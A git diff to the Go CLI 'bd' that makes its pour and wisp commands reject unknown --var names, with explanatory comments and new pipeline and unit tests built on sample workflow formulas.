+4,7 @@ import ( "errors" "fmt" "os" + "sort" "strings" "github.com/spf13/cobra" @@ -185,7 +186,7 @@ func runPour(cmd *cobra.Command, args []string) error { attachSubgraphs = append(attachSubgraphs, a.subgraph) } if err := checkPourVars(subgraph, attachSubgraphs, vars); err != nil { - return HandleErrorWithHint(err.Error(), fmt.Sprintf("Provide them with: --var %s=", missingVarHint(subgraph, attachSubgraphs, vars))) + return handleVarErrorWithHint(err, missingVarHint(subgraph, attachSubgraphs, vars)) } if in.dryRun { @@ -261,7 +262,113 @@ func checkPourVars(subgraph *TemplateSubgraph, attachSubgraphs []*TemplateSubgra if len(missingVars) > 0 { return fmt.Errorf("missing required variables: %s", strings.Join(missingVars, ", ")) } - return nil + return checkUnknownVars(subgraph, attachSubgraphs, vars) +} + +// checkUnknownVars rejects --var names the protos being poured cannot consume. +// A name is accepted if any proto declares it in [vars], references it as a +// {{handlebar}} in a field the pour substitutes (including the assignee, +// labels, a gate's AwaitID and metadata values), references it from a step +// condition, or - in a standalone expansion formula - uses it as a {name} +// placeholder in the template; so documentation handlebars and vars belonging +// to an --attach proto still pass. What is left over cannot affect the pour, and silently dropping it +// turns a typo in an optional var into a conditional step that quietly never +// appears. +// +// The check applies only when the known set is complete - see knownVarsAcross. +// Where it is not, no name is refused at all: a wrong refusal breaks a pour that +// works, which is worse than the silent drop this replaces. +func checkUnknownVars(subgraph *TemplateSubgraph, attachSubgraphs []*TemplateSubgraph, vars map[string]string) error { + known, complete := knownVarsAcross(subgraph, attachSubgraphs) + if !complete { + return nil + } + + var unknown []string + for name := range vars { + if !known[name] { + unknown = append(unknown, name) + } + } + if len(unknown) == 0 { + return nil + } + sort.Strings(unknown) + + knownNames := make([]string, 0, len(known)) + for name := range known { + knownNames = append(knownNames, name) + } + sort.Strings(knownNames) + + if len(knownNames) == 0 { + return fmt.Errorf("unknown variables: %s (this proto takes no variables)", strings.Join(unknown, ", ")) + } + return fmt.Errorf("unknown variables: %s (available: %s)", strings.Join(unknown, ", "), strings.Join(knownNames, ", ")) +} + +// knownVarsAcross returns the variable names the protos being poured can +// consume, and whether that set is COMPLETE. +// +// It is incomplete as soon as one participating proto was loaded from the +// database instead of cooked from a formula. Persistence keeps the issues but +// not the formula, so VarDefs is gone and all that survives is the handlebars +// visible in issue text: a variable the formula declared in [vars] but never +// wrote into a substituted field is then indistinguishable from a typo, and +// refusing it would reject a --var the pour does consume. That covers every +// `bd cook --persist` proto and every --attach proto, which is always DB-loaded. +func knownVarsAcross(subgraph *TemplateSubgraph, attachSubgraphs []*TemplateSubgraph) (map[string]bool, bool) { + known := make(map[string]bool) + complete := true + add := func(sg *TemplateSubgraph) { + if sg == nil { + return + } + if !sg.DeclaredVarsKnown { + complete = false + } + for name := range sg.VarDefs { + known[name] = true + } + // Every field the clone substitutes, not just the prose: the + // assignee, labels, a gate's await_id and every metadata value carry + // handlebars that the pour fills in, so names appearing only there + // are consumable too. + for _, name := range extractConsumableVariables(sg) { + known[name] = true + } + // Names the formula referenced that were consumed or erased before the + // cook - a step condition, the text of a step the condition filter + // dropped, or a standalone expansion template's {name} placeholder. All + // are consumable: a condition decides which steps get poured at all, + // dropped text must not stop being valid just because another var + // switched its step off, and a placeholder was substituted while the + // steps were being built. + for _, name := range sg.FormulaVarRefs { + known[name] = true + } + } + + add(subgraph) + for _, attachSubgraph := range attachSubgraphs { + add(attachSubgraph) + } + return known, complete +} + +// handleVarErrorWithHint reports a --var error, attaching the "Provide them +// with" hint only when there is a name to put in it. An unknown-var error has no +// missing name to suggest, and an unguarded hint renders as the nonsense +// `--var =`. +// +// Shared by every route that reports one of these errors (bd mol pour, bd mol +// wisp, and the proxied wisp server) so the guard cannot be dropped at one site +// while the others keep it. +func handleVarErrorWithHint(err error, hint string) error { + if hint != "" { + return HandleErrorWithHint(err.Error(), fmt.Sprintf("Provide them with: --var %s=", hint)) + } + return HandleError("%v", err) } func missingVarHint(subgraph *TemplateSubgraph, attachSubgraphs []*TemplateSubgraph, vars map[string]string) string { @@ -318,7 +425,7 @@ func renderPourResult(result *InstantiateResult, totalAttached, attachCount int) func init() { // Pour command flags - pourCmd.Flags().StringArray("var", []string{}, "Variable substitution (key=value)") + pourCmd.Flags().StringArray("var", []string{}, "Variable substitution (key=value); a name the proto cannot consume is an error") pourCmd.Flags().Bool("dry-run", false, "Preview what would be created") pourCmd.Flags().String("assignee", "", "Assign the root issue to this agent/user") pourCmd.Flags().StringSlice("attach", []string{}, "Proto to attach after spawning (repeatable)") diff --git a/cmd/bd/pour_unknown_vars_pipeline_test.go b/cmd/bd/pour_unknown_vars_pipeline_test.go new file mode 100644 index 000000000..21598915c --- /dev/null +++ b/cmd/bd/pour_unknown_vars_pipeline_test.go @@ -0,0 +1,327 @@ +package main + +import ( + "os" + "path/filepath" + "strings" + "testing" +) + +// has_spike appears ONLY in a step condition: it is not declared in [vars] and +// no issue field references it. spike_area appears ONLY in the text of the step +// that same condition can remove, so it is undeclared too and survives into the +// cooked subgraph only while has_spike is truthy. +const conditionVarFormula = `formula = "condvar-pour" +version = 1 +type = "workflow" + +[vars.story] +required = true + +[[steps]] +id = "design" +title = "Design {{story}}" +type = "task" + +[[steps]] +id = "spike" +title = "Spike {{spike_area}} first" +type = "task" +condition = "{{has_spike}}" +` + +// writePipelineFormula puts a formula where the cook pipeline will find it. +func writePipelineFormula(t *testing.T, name, body string) string { + t.Helper() + dir := filepath.Join(t.TempDir(), "formulas") + if err := os.MkdirAll(dir, 0o755); err != nil { + t.Fatalf("mkdir formulas dir: %v", err) + } + if err := os.WriteFile(filepath.Join(dir, name+".formula.toml"), []byte(body), 0o644); err != nil { + t.Fatalf("write formula: %v", err) + } + return dir +} + +// The unknown-var check runs against a subgraph produced by the REAL cook +// pipeline, which is where its known set is actually assembled. +// +// The unit tests above hand-build subgraphs, so they cannot see the ordering +// that matters most here: formula.FilterStepsByCondition consumes step +// conditions and drops the steps carrying them BEFORE the cook, so a var used +// only in a condition leaves no trace in the cooked subgraph. cook records +// those names ahead of the filter for exactly this reason. +// +// Pouring with the condition var set to a FALSEY value is the case that +// regresses if the collection ever moves after the filter: the step is gone, +// and the var that removed it must still count as consumable. Reviewing this +// fix, that was the case a plausible-looking fix one call later would have +// missed. +func TestCookedSubgraphAcceptsAVarUsedOnlyByAStepCondition(t *testing.T) { + searchPaths := []string{writePipelineFormula(t, "condvar-pour", conditionVarFormula)} + + for _, spike := range []string{"true", "false"} { + t.Run("has_spike_"+spike, func(t *testing.T) { + vars := map[string]string{"story": "s1", "has_spike": spike} + + subgraph, err := resolveAndCookFormulaWithVars("condvar-pour", searchPaths, vars) + if err != nil { + t.Fatalf("cook: %v", err) + } + // The premise of the falsey case: the step really is gone, so + // nothing in the subgraph mentions has_spike any more. + if spike == "false" { + for _, issue := range subgraph.Issues { + if strings.Contains(issue.Title, "Spike") { + t.Fatalf("the conditional step survived a falsey condition, so this case is not testing the ordering: %q", issue.Title) + } + } + } + + if err := checkPourVars(subgraph, nil, applyVariableDefaults(vars, subgraph)); err != nil { + t.Errorf("pour rejected a var its own step condition consumes (has_spike=%s): %v", spike, err) + } + }) + } + + // A var referenced only inside the step the condition removes must not lose + // its validity when that step goes: otherwise `--var has_spike=false --var + // spike_area=parser` fails while `has_spike=true` succeeds, and whether a + // name is accepted depends on another name's VALUE. The falsey case is the + // one that regresses if collection ever moves after the filter. + for _, spike := range []string{"true", "false"} { + t.Run("dropped_step_text_var_has_spike_"+spike, func(t *testing.T) { + vars := map[string]string{"story": "s1", "has_spike": spike, "spike_area": "parser"} + + subgraph, err := resolveAndCookFormulaWithVars("condvar-pour", searchPaths, vars) + if err != nil { + t.Fatalf("cook: %v", err) + } + if spike == "false" { + for _, issue := range subgraph.Issues { + if strings.Contains(issue.Title, "spike_area") { + t.Fatalf("the conditional step survived, so this case is not testing the dropped-step path: %q", issue.Title) + } + } + } + + if err := checkPourVars(subgraph, nil, applyVariableDefaults(vars, subgraph)); err != nil { + t.Errorf("pour rejected a var referenced only by a step it dropped (has_spike=%s): %v", spike, err) + } + }) + } + + // The condition var widens the known set; it does not disable the check. + t.Run("typo_in_the_condition_var_is_still_rejected", func(t *testing.T) { + vars := map[string]string{"story": "s1", "has_spke": "true"} + + subgraph, err := resolveAndCookFormulaWithVars("condvar-pour", searchPaths, vars) + if err != nil { + t.Fatalf("cook: %v", err) + } + + err = checkPourVars(subgraph, nil, applyVariableDefaults(vars, subgraph)) + if err == nil { + t.Fatal("pour accepted a typo'd var name") + } + if !strings.Contains(err.Error(), "has_spke") { + t.Errorf("error does not name the unusable var: %v", err) + } + // The real name has to be offered, which is the whole point of + // carrying condition vars into the known set. + if !strings.Contains(err.Error(), "has_spike") { + t.Errorf("error does not offer the condition var among the available names: %v", err) + } + }) +} + +// run_id and gate_repo appear ONLY in the gate of a step that deploy can +// remove, and neither is declared in [vars]. createGateIssue turns that gate +// into its own issue - await_id mirrored into its title and AwaitID, and a +// gh:* gate's repo selector into metadata.repo - which goes with the step. +const gateVarFormula = `formula = "gatevar-pour" +version = 1 +type = "workflow" + +[[steps]] +id = "build" +title = "Build" +type = "task" + +[[steps]] +id = "await-ci" +title = "Wait for CI" +type = "task" +condition = "{{deploy}}" + +[steps.gate] +type = "gh:run" +await_id = "{{run_id}}" +repo = "{{gate_repo}}" +` + +// A var referenced only by the GATE of a step the condition filter drops stays +// consumable, for the same reason dropped step text does: otherwise whether +// run_id is accepted would depend on deploy's value. cook reads a step's gate +// fields ahead of the filter along with its text, and the falsey case is the +// one that regresses if it ever stops - the gate issue is gone, so nothing +// else in the subgraph names either var. +func TestCookedSubgraphAcceptsAVarUsedOnlyByADroppedStepsGate(t *testing.T) { + searchPaths := []string{writePipelineFormula(t, "gatevar-pour", gateVarFormula)} + + for _, deploy := range []string{"true", "false"} { + t.Run("deploy_"+deploy, func(t *testing.T) { + vars := map[string]string{"deploy": deploy, "run_id": "ci.yml", "gate_repo": "octo/app"} + + subgraph, err := resolveAndCookFormulaWithVars("gatevar-pour", searchPaths, vars) + if err != nil { + t.Fatalf("cook: %v", err) + } + // The premise, both ways: the gate issue exists exactly while + // its step does. + gates := 0 + for _, issue := range subgraph.Issues { + if issue.AwaitType != "" { + gates++ + } + } + if want := map[string]int{"true": 1, "false": 0}[deploy]; gates != want { + t.Fatalf("deploy=%s cooked %d gate issues, want %d, so this case is not testing the dropped-gate path", deploy, gates, want) + } + + if err := checkPourVars(subgraph, nil, applyVariableDefaults(vars, subgraph)); err != nil { + t.Errorf("pour rejected a var referenced only by a step's gate (deploy=%s): %v", deploy, err) + } + }) + } +} + +// release_owner, release_train and change_ticket appear ONLY in the assignee, a +// label and a nested metadata value of the step deploy can remove, and none is +// declared in [vars]. The pour substitutes all three fields (GH#5110, +// GH#5754), but no prose field mirrors them. +const fieldVarFormula = `formula = "fieldvar-pour" +version = 1 +type = "workflow" + +[[steps]] +id = "build" +title = "Build" +type = "task" + +[[steps]] +id = "release" +title = "Release" +type = "task" +condition = "{{deploy}}" +assignee = "{{release_owner}}" +labels = ["train:{{release_train}}"] +metadata = { change = { ticket = "{{change_ticket}}" } } +` + +// A var referenced only by the assignee, a label or a metadata value of a step +// the condition filter drops stays consumable too: cook reads those fields +// ahead of the filter along with the step's text, and the falsey case is the +// one that regresses if it ever stops - the step is gone, so nothing else in +// the subgraph names any of the three. +func TestCookedSubgraphAcceptsAVarUsedOnlyByADroppedStepsNonProseFields(t *testing.T) { + searchPaths := []string{writePipelineFormula(t, "fieldvar-pour", fieldVarFormula)} + + for _, deploy := range []string{"true", "false"} { + t.Run("deploy_"+deploy, func(t *testing.T) { + vars := map[string]string{"deploy": deploy, "release_owner": "alice", "release_train": "r42", "change_ticket": "CHG-7"} + + subgraph, err := resolveAndCookFormulaWithVars("fieldvar-pour", searchPaths, vars) + if err != nil { + t.Fatalf("cook: %v", err) + } + // The premise, both ways: the release step - and with it every + // field naming these vars - exists exactly while deploy is truthy. + released := false + for _, issue := range subgraph.Issues { + if issue.Title != "Release" { + continue + } + released = true + if issue.Assignee == "" || len(issue.Labels) == 0 || len(issue.Metadata) == 0 { + t.Fatalf("the release step lost its assignee, labels or metadata in the cook, so this case is not testing them: %+v", issue) + } + } + if released != (deploy == "true") { + t.Fatalf("deploy=%s cooked the release step = %v, so this case is not testing the dropped-step path", deploy, released) + } + + if err := checkPourVars(subgraph, nil, applyVariableDefaults(vars, subgraph)); err != nil { + t.Errorf("pour rejected a var referenced only by a step's assignee, label or metadata (deploy=%s): %v", deploy, err) + } + }) + } +} + +// A standalone expansion formula has no [[steps]]: formula.MaterializeExpansion +// builds them from its [[template]] before the cook, substituting --var values +// into the template's single-brace {name} placeholders as it goes. component +// is not declared in [vars], so once it has been substituted nothing in the +// cooked subgraph - no issue field, not VarDefs - names it any more. +const expansionVarFormula = `formula = "expansion-pour" +version = 1 +type = "expansion" + +[[template]] +id = "{target}.build" +title = "Build {component}" +type = "task" +` + +// A var that a standalone expansion formula's template consumes is accepted, +// even though consuming it is what erased every trace of it: like a step +// condition, the placeholder is used up before the cook, so cook has to record +// the name ahead of time. That widens the known set without disabling the +// check - a typo is still refused, and offered the real name. +func TestCookedSubgraphAcceptsAVarAStandaloneExpansionTemplateConsumes(t *testing.T) { + searchPaths := []string{writePipelineFormula(t, "expansion-pour", expansionVarFormula)} + + t.Run("template_placeholder_var", func(t *testing.T) { + vars := map[string]string{"component": "api"} + + subgraph, err := resolveAndCookFormulaWithVars("expansion-pour", searchPaths, vars) + if err != nil { + t.Fatalf("cook: %v", err) + } + // The premise: the template really did consume the var before the + // cook, so the subgraph no longer mentions it. + consumed := false + for _, issue := range subgraph.Issues { + if issue.Title == "Build api" { + consumed = true + } + } + if !consumed { + t.Fatal("the template did not substitute component, so this case is not testing a consumed var") + } + + if err := checkPourVars(subgraph, nil, applyVariableDefaults(vars, subgraph)); err != nil { + t.Errorf("pour rejected a var the expansion template consumed: %v", err) + } + }) + + t.Run("typo_is_still_rejected", func(t *testing.T) { + vars := map[string]string{"componnet": "api"} + + subgraph, err := resolveAndCookFormulaWithVars("expansion-pour", searchPaths, vars) + if err != nil { + t.Fatalf("cook: %v", err) + } + + err = checkPourVars(subgraph, nil, applyVariableDefaults(vars, subgraph)) + if err == nil { + t.Fatal("pour accepted a typo'd var name") + } + if !strings.Contains(err.Error(), "componnet") { + t.Errorf("error does not name the unusable var: %v", err) + } + if !strings.Contains(err.Error(), "available: component") { + t.Errorf("error does not offer the template's placeholder among the available names: %v", err) + } + }) +} diff --git a/cmd/bd/pour_unknown_vars_test.go b/cmd/bd/pour_unknown_vars_test.go new file mode 100644 index 000000000..7620b3aa0 --- /dev/null +++ b/cmd/bd/pour_unknown_vars_test.go @@ -0,0 +1,354 @@ +package main + +import ( + "encoding/json" + "strconv" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/formula" + "github.com/steveyegge/beads/internal/types" +) + +// varSubgraph models a proto COOKED FROM A FORMULA: DeclaredVarsKnown is what +// the cook stamps, and it is what licenses the refusal at all, so leaving it +// unset here would silently turn every rejection case below into a no-op. +// dbVarSubgraph is the other shape. +func varSubgraph(text string, varDefs map[string]formula.VarDef) *TemplateSubgraph { + return &TemplateSubgraph{ + Issues: []*types.Issue{{ID: "t-1", Title: "step", Description: text}}, + VarDefs: varDefs, + DeclaredVarsKnown: true, + } +} + +// dbVarSubgraph models a proto LOADED FROM THE DATABASE - `bd cook --persist` +// output, or any --attach proto. loadTemplateSubgraph cannot recover the +// formula's [vars], so DeclaredVarsKnown stays false. +func dbVarSubgraph(text string) *TemplateSubgraph { + sg := varSubgraph(text, nil) + sg.DeclaredVarsKnown = false + return sg +} + +// formulaVarRefSubgraph is varSubgraph plus the names the formula referenced +// that the condition filter erased before the cook: a step condition, or the +// text of a step it dropped. cook records these ahead of the filter. +func formulaVarRefSubgraph(text string, varDefs map[string]formula.VarDef, formulaVarRefs ...string) *TemplateSubgraph { + sg := varSubgraph(text, varDefs) + sg.FormulaVarRefs = formulaVarRefs + return sg +} + +// gateVarSubgraph models a cooked proto whose only reference to a var is a GATE +// field: the await_id, or the metadata.repo selector createGateIssue writes for +// a gh:* gate. Neither is a prose field, and neither has to be declared in +// [vars] - but cloneSubgraphInto substitutes both, so both are consumable. +func gateVarSubgraph(awaitType, awaitID, repoSelector string) *TemplateSubgraph { + gate := &types.Issue{ + ID: "t-1.gate-deploy", + Title: "Gate: " + awaitType, + AwaitType: awaitType, + AwaitID: awaitID, + } + if repoSelector != "" { + gate.Metadata = json.RawMessage(`{"repo":` + strconv.Quote(repoSelector) + `}`) + } + return &TemplateSubgraph{ + Issues: []*types.Issue{{ID: "t-1", Title: "root"}, gate}, + DeclaredVarsKnown: true, + } +} + +// issueVarSubgraph models a cooked proto, with no [vars], whose only reference +// to a var is in one of the non-prose fields cloneSubgraphInto substitutes on +// any issue (GH#5110, GH#5754) - the assignee, a label, or a metadata value - +// which the caller sets on step. +func issueVarSubgraph(step *types.Issue) *TemplateSubgraph { + step.ID = "t-1.step" + step.Title = "step" + return &TemplateSubgraph{ + Issues: []*types.Issue{{ID: "t-1", Title: "root"}, step}, + DeclaredVarsKnown: true, + } +} + +func TestCheckPourVarsRejectsUnknownVars(t *testing.T) { + defaulted := map[string]formula.VarDef{"component": {Default: strPtr("core")}} + + tests := []struct { + name string + subgraph *TemplateSubgraph + attached []*TemplateSubgraph + vars map[string]string + wantErr bool + wantInError []string + }{ + { + name: "declared var is accepted", + subgraph: varSubgraph("build {{component}}", defaulted), + vars: map[string]string{"component": "rule"}, + }, + { + name: "var referenced only as a handlebar is accepted", + subgraph: varSubgraph("notes for {{reviewer}}", defaulted), + vars: map[string]string{"reviewer": "harry"}, + }, + { + name: "var belonging to an attached proto is accepted", + subgraph: varSubgraph("build {{component}}", defaulted), + attached: []*TemplateSubgraph{varSubgraph("deploy to {{cluster}}", nil)}, + vars: map[string]string{"component": "rule", "cluster": "prod"}, + }, + { + name: "typo in a defaulted var is rejected", + subgraph: varSubgraph("build {{component}}", defaulted), + vars: map[string]string{"compnent": "rule"}, + wantErr: true, + wantInError: []string{"compnent", "component"}, + }, + { + name: "proto with no variables at all", + subgraph: varSubgraph("no placeholders here", nil), + vars: map[string]string{"anything": "x"}, + wantErr: true, + wantInError: []string{"anything", "takes no variables"}, + }, + { + name: "unknown vars are reported together and sorted", + subgraph: varSubgraph("build {{component}}", defaulted), + vars: map[string]string{"zeta": "1", "alpha": "2"}, + wantErr: true, + wantInError: []string{"alpha, zeta"}, + }, + { + // A var used only in a step condition appears in no issue field + // and need not be declared in [vars], but it decides which steps + // get poured at all - so it is consumable, and rejecting it would + // fail a pour the var demonstrably changes. + name: "var referenced only by a step condition is accepted", + subgraph: formulaVarRefSubgraph("build {{component}}", defaulted, "has_spike"), + vars: map[string]string{"component": "rule", "has_spike": "true"}, + }, + { + // The condition var widens the known set; it does not disable the + // check. A typo in it is still unusable. + name: "typo in a condition var is still rejected", + subgraph: formulaVarRefSubgraph("build {{component}}", defaulted, "has_spike"), + vars: map[string]string{"has_spke": "true"}, + wantErr: true, + wantInError: []string{"has_spke", "has_spike"}, + }, + { + // A handlebar living only inside a step the condition filter + // dropped is still the formula's, so its name stays valid - a var + // must not become unusable because another var's VALUE switched its + // step off. + name: "var referenced only by a filtered-out step is accepted", + subgraph: formulaVarRefSubgraph("build {{component}}", defaulted, "deploy", "deploy_target"), + vars: map[string]string{"deploy": "false", "deploy_target": "prod"}, + }, + { + // cloneSubgraphInto substitutes AwaitID, so a name that appears + // only in a gate's await_id is consumed by the pour. createGateIssue + // normally also mirrors the awaitID into the gate Title, which would + // make this pass through the prose path; the Title here carries no + // mirror (a hand-edited or pre-format proto) so the case pins the + // direct AwaitID read instead. + name: "var referenced only by a gate await_id is accepted", + subgraph: gateVarSubgraph("gh:pr", "{{pr_number}}", ""), + vars: map[string]string{"pr_number": "5762"}, + }, + { + // ...and so is metadata.repo on a gh:* gate, which is the arm with + // no mirror anywhere else on the issue: createGateIssue stores the + // selector literally and substituteMetadataVars fills it at clone + // time. + name: "var referenced only by a gh gate metadata.repo is accepted", + subgraph: gateVarSubgraph("gh:run", "12345", "{{gate_repo}}"), + vars: map[string]string{"gate_repo": "owner/repo"}, + }, + { + // The gate fields widen the known set; they do not disable the + // check. (With no [vars], gate_repo is also REQUIRED - the + // required-var check reads metadata values too - so it is supplied + // alongside the typo, or the missing-var error would fire first.) + name: "typo against a gate-only proto is still rejected", + subgraph: gateVarSubgraph("gh:run", "12345", "{{gate_repo}}"), + vars: map[string]string{"gate_repo": "owner/repo", "gate_rpo": "owner/repo"}, + wantErr: true, + wantInError: []string{"gate_rpo", "gate_repo"}, + }, + { + // `repo` on a non-gh gate is ordinary metadata, not a repo + // selector - but the pour substitutes every metadata string value + // whatever the gate type (#5758 superseded the gh:*-only rule), so + // a name used there is consumed. Refusing it would be a closed + // loop: with no [vars], the required-var check demands the very + // name this check would refuse, and the proto can never be poured. + name: "repo on a non-github gate is substituted like any metadata value", + subgraph: gateVarSubgraph("human", "sign-off", "{{gate_repo}}"), + vars: map[string]string{"gate_repo": "owner/repo"}, + }, + { + // The same holds on any issue for every non-prose field the pour + // substitutes: a name used only in the assignee... + name: "var referenced only by an assignee is accepted", + subgraph: issueVarSubgraph(&types.Issue{Assignee: "{{owner}}"}), + vars: map[string]string{"owner": "alice"}, + }, + { + // ...only in a label... + name: "var referenced only by a label is accepted", + subgraph: issueVarSubgraph(&types.Issue{Labels: []string{"area:{{area}}"}}), + vars: map[string]string{"area": "parser"}, + }, + { + // ...or only in a metadata value, at any depth. + name: "var referenced only by a nested metadata value is accepted", + subgraph: issueVarSubgraph(&types.Issue{Metadata: json.RawMessage(`{"owner":{"teams":["{{team}}"]}}`)}), + vars: map[string]string{"team": "core"}, + }, + { + // substituteMetadataVars never rewrites an object KEY, so a name + // that appears only in one is not consumable and must still be + // refused. This is the polarity that keeps the read side honest + // about WHICH metadata strings the pour substitutes. + name: "var referenced only by a metadata key is rejected", + subgraph: issueVarSubgraph(&types.Issue{Metadata: json.RawMessage(`{"{{team}}":"core"}`)}), + vars: map[string]string{"team": "core"}, + wantErr: true, + wantInError: []string{"team", "takes no variables"}, + }, + { + // A DB-loaded proto has no formula behind it, so its [vars] + // declarations are gone: a declared var that was never written into + // a substituted field cannot be told apart from a typo, and + // refusing it would break a pour that works today. (Its text + // handlebars are all REQUIRED - the nil-VarDefs legacy path in + // extractRequiredVariables - so component must be supplied; the + // point of the case is gate_repo, which nothing in the subgraph + // mentions.) + name: "db-loaded proto accepts a name it cannot vouch for", + subgraph: dbVarSubgraph("build {{component}}"), + vars: map[string]string{"component": "core", "gate_repo": "owner/repo"}, + }, + { + // One DB-loaded --attach proto is enough: the name could belong to + // it, so no name in the pour can be refused. + name: "a db-loaded attachment stands the check down for the whole pour", + subgraph: varSubgraph("build {{component}}", defaulted), + attached: []*TemplateSubgraph{dbVarSubgraph("deploy to {{cluster}}")}, + vars: map[string]string{"cluster": "prod", "anything": "x"}, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + err := checkPourVars(tt.subgraph, tt.attached, tt.vars) + if tt.wantErr && err == nil { + t.Fatalf("checkPourVars() = nil, want an unknown-variable error") + } + if !tt.wantErr { + if err != nil { + t.Fatalf("checkPourVars() = %v, want nil", err) + } + return + } + for _, want := range tt.wantInError { + if !strings.Contains(err.Error(), want) { + t.Errorf("checkPourVars() error = %q, want it to contain %q", err, want) + } + } + }) + } +} + +// A missing required var must still be reported as missing rather than being +// reframed by the unknown-var check, because the caller's hint depends on it. +func TestCheckPourVarsReportsMissingBeforeUnknown(t *testing.T) { + subgraph := varSubgraph("build {{component}}", map[string]formula.VarDef{"component": {}}) + + err := checkPourVars(subgraph, nil, map[string]string{"typo": "x"}) + if err == nil { + t.Fatal("checkPourVars() = nil, want an error") + } + if !strings.Contains(err.Error(), "missing required variables") { + t.Errorf("checkPourVars() error = %q, want the missing-variable error", err) + } +} + +// The hint is only meaningful for a MISSING var, whose name it suggests +// supplying. An unknown-var error has no such name, and the unguarded form this +// PR replaced rendered as `Provide them with: --var =`. All three routes +// share handleVarErrorWithHint, so pinning it here pins every site. +func TestVarErrorHintIsSuppressedWhenThereIsNoNameToSuggest(t *testing.T) { + unknown := checkPourVars(varSubgraph("no placeholders here", nil), nil, map[string]string{"anything": "x"}) + if unknown == nil { + t.Fatal("checkPourVars() = nil, want an unknown-variable error to report") + } + + missing := checkPourVars(varSubgraph("build {{component}}", map[string]formula.VarDef{"component": {}}), nil, nil) + if missing == nil { + t.Fatal("checkPourVars() = nil, want a missing-variable error to report") + } + + tests := []struct { + name string + err error + hint string + wantHint bool + }{ + { + name: "unknown variables carry no hint", + err: unknown, + // What missingVarHint returns when nothing is missing. + hint: "", + wantHint: false, + }, + { + name: "a missing variable still names itself in the hint", + err: missing, + hint: "component", + wantHint: true, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + stderr := captureStderr(t, func() { + if err := handleVarErrorWithHint(tt.err, tt.hint); err == nil { + t.Error("handleVarErrorWithHint() = nil, want a non-nil exit error") + } + }) + + if !strings.Contains(stderr, tt.err.Error()) { + t.Errorf("stderr = %q, want it to report %q", stderr, tt.err) + } + if got := strings.Contains(stderr, "Provide them with:"); got != tt.wantHint { + t.Errorf("stderr = %q, hint present = %v, want %v", stderr, got, tt.wantHint) + } + if strings.Contains(stderr, "--var =") { + t.Errorf("stderr = %q, want no empty-name hint", stderr) + } + }) + } +} + +// bd mol wisp takes --var through its own check, which must reject an +// unusable name for the same reason bd mol pour does. +func TestCheckRequiredVarsRejectsUnknownVars(t *testing.T) { + subgraph := varSubgraph("build {{component}}", map[string]formula.VarDef{"component": {Default: strPtr("core")}}) + + if err := checkRequiredVars(subgraph, map[string]string{"component": "rule"}); err != nil { + t.Fatalf("checkRequiredVars() = %v, want nil for a declared var", err) + } + + err := checkRequiredVars(subgraph, map[string]string{"compnent": "rule"}) + if err == nil { + t.Fatal("checkRequiredVars() = nil, want an unknown-variable error") + } + if !strings.Contains(err.Error(), "compnent") { + t.Errorf("checkRequiredVars() error = %q, want it to name the unknown var", err) + } +} diff --git a/cmd/bd/template.go b/cmd/bd/template.go index b411ed499..e8ad2d576 100644 --- a/cmd/bd/template.go +++ b/cmd/bd/template.go @@ -41,6 +41,44 @@ type TemplateSubgraph struct { VarDefs map[string]formula.VarDef // Variable definitions from formula (for defaults) Phase string // Recommended phase: "liquid" (pour) or "vapor" (wisp) Pour bool // If true, steps should be materialized as sub-issues (from formula pour=true) + + // FormulaVarRefs names the variables referenced by the formula this + // subgraph was cooked from that may leave no trace in the subgraph itself, + // because they are consumed or erased BEFORE the cook: + // + // - a step condition is consumed by formula.FilterStepsByCondition and is + // never copied to an issue field, and nothing requires a condition var + // to be declared in [vars], so it would appear in neither the issues + // nor VarDefs; + // - the substitutable text of a step the filter DROPPED disappears along + // with the step; + // - a {name} placeholder in a standalone expansion formula's template is + // replaced by its --var value while formula.MaterializeExpansion builds + // the steps, so the name is gone before the cook sees them. + // + // All three are recorded ahead of the filter so the set of variables a + // proto can consume stays a property of the formula rather than of one + // pour's --var values: a var that changes which steps get poured, or that + // is referenced only inside a step the user just switched off, must not be + // reported as one the proto cannot consume. + // + // Empty for a persisted proto loaded from the database, which has no + // formula behind it - its conditions were already resolved at cook time. + FormulaVarRefs []string + + // DeclaredVarsKnown reports whether VarDefs is the formula's complete + // declared-variable set. Only the cook can know that, so only the cook + // sets it (cookFormulaToSubgraphWithVars); a subgraph built any other way + // - loadTemplateSubgraph for a persisted or --attach proto, or a test + // fixture - leaves it false. + // + // It is NOT the same question as `VarDefs != nil`: a cooked formula that + // declares no [vars] at all also has a nil VarDefs, and that proto really + // does take no variables. Persistence, by contrast, drops the declarations + // entirely, so a var the formula declared but never wrote into a + // substituted field becomes indistinguishable from a typo - which is why + // checkUnknownVars stands down rather than guessing when this is false. + DeclaredVarsKnown bool } // InstantiateResult holds the result of template instantiation @@ -367,6 +405,55 @@ func extractAllVariables(subgraph *TemplateSubgraph) []string { return extractVariables(sb.String()) } +// substitutedIssueFields returns every string on a proto issue that +// cloneSubgraphInto substitutes variables into when the proto is poured: the +// prose, the assignee, a gate's AwaitID, each label, and every string value in +// the metadata (GH#5110, GH#5754). +// +// KEEP IN SYNC with cloneSubgraphInto's newIssue literal: it is the write side +// of this read. Any field that gains a substituteVariables call there has to be +// added here in the same commit, or knownVarsAcross under-approximates what a +// pour consumes and checkUnknownVars refuses a --var the clone would have used. +// extractAllVariables reads the same fields for the variables a pour DEMANDS, +// so the two must agree as well: a name demanded there but missing here can +// never be poured, because supplying it is refused. Conversely, anything the +// clone copies verbatim must stay out - naming it would advertise a +// substitution that never happens: AwaitType and IssueType, and every metadata +// object KEY (substituteMetadataVars rewrites string values only, which is all +// metadataVarStrings returns). +func substitutedIssueFields(issue *types.Issue) []string { + if issue == nil { + return nil + } + fields := []string{ + issue.Title, + issue.Description, + issue.Design, + issue.AcceptanceCriteria, + issue.Notes, + issue.Assignee, + issue.AwaitID, + } + fields = append(fields, issue.Labels...) + return append(fields, metadataVarStrings(issue.Metadata)...) +} + +// extractConsumableVariables finds every variable name the subgraph's issues +// can consume at clone time - every field substitutedIssueFields names, not +// just the prose. +func extractConsumableVariables(subgraph *TemplateSubgraph) []string { + if subgraph == nil { + return nil + } + allText := "" + for _, issue := range subgraph.Issues { + for _, field := range substitutedIssueFields(issue) { + allText += field + " " + } + } + return extractVariables(allText) +} + // extractRequiredVariables returns only variables that don't have defaults. // If VarDefs is available (from a cooked formula), uses it to filter out defaulted vars. // Otherwise, falls back to returning all variables. @@ -802,6 +889,10 @@ func cloneSubgraphInto(ctx context.Context, 